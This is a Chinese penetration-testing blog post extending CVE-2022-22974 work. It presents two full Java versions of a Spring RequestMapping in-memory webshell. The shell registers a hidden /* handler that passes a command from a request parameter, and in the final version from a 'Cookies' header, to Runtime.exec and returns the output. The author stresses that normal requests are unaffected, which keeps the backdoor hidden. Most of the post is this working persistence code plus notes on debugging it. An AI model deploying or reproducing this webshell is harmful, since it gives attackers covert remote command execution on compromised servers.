> 渗透测试 > CVE-2022-22974扩展

    CVE-2022-22974扩展

    渗透测试 lz520520 3年前 (2022-03-19) 673次浏览

    中午看了下这篇文章https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg，发现了点问题，记录下

    选用RequestMapping内存马，demo如下

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    public class SpringRequestMappingMemshell {
        public static String doInject(Object requestMappingHandlerMapping) {
            String msg = "inject-start";
            try {
                Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
                registerHandlerMethod.setAccessible(true);
                Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
                PathPattern pathPattern = new PathPatternParser().parse("/*");
                PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
                ParamsRequestCondition paramsRequestCondition = new ParamsRequestCondition("cmd");
                RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, paramsRequestCondition, null, null, null, null);
                registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
                msg = "inject-success";
            }catch (Exception e){
                msg = "inject-error";
            }
            return msg;
        }
     
        public ResponseEntity executeCommand(String cmd) throws IOException {
            //        cmd = "calc";"calc"
            String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            return new ResponseEntity(execResult, HttpStatus.OK);
        }
    }
     

    测试的时候发现注入可以成功，但无法访问executeCommand方法，查看报错堆栈，提示参数错误，没有指定executeCommand需要的String参数，但实际有传。

    CVE-2022-22974扩展

    报错在AbstractNamedValueArgumentResolver.class#updateNamedValueInfo，parameter对象里没获取到参数名，另外或者info.name能获取到也行

    CVE-2022-22974扩展

    查看上级调用，info是通过this.createNamedValueInfo返回的

    CVE-2022-22974扩展

    这个方法的重写方法对应的类，仔细观察都是各种spring里的注解解析类，其实到这也就明白了为啥无法传参，是因为我们的方法没有注解，无法解析参数。

    CVE-2022-22974扩展

    这个其实一开头就应该发现的，我们要写的是RequestMapping内存马，自然应该想到通过注解来提取参数。像@RequestParam、@PathVariable等等。

    这里采用@RequestHeader

    修改代码如下

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    public class SpringRequestMappingMemshell {
        public static String doInject(Object requestMappingHandlerMapping) {
            String msg = "inject-start";
            try {
                Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
                registerHandlerMethod.setAccessible(true);
                Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
                PathPattern pathPattern = new PathPatternParser().parse("/*");
                PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
    //            ParamsRequestCondition paramsRequestCondition = new ParamsRequestCondition("Cmd");
                HeadersRequestCondition headersRequestCondition = new HeadersRequestCondition("Cookies");
                RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, headersRequestCondition, null, null, null);
                registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
                msg = "inject-success";
            }catch (Exception e){
                msg = "inject-error";
            }
            return msg;
        }
        public ResponseEntity executeCommand(@RequestHeader(value = "Cookies") String cmd) throws IOException {
    //        cmd = "calc";"calc"
            String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            return new ResponseEntity(execResult, HttpStatus.OK);
        }
    }

    注入成功

    CVE-2022-22974扩展

    头部插入命令即可，如果指定头部没有，就是正常页面访问，不影响业务。

    CVE-2022-22974扩展

    自动化

    CVE-2022-22974扩展

    至于为啥文章里不需要这么操作也能用，暂时不得而知。

    然后这个马存在的问题还有，因为是requestMapping，如果存在拦截器、过滤器等做认证，就会存在无法访问的问题。

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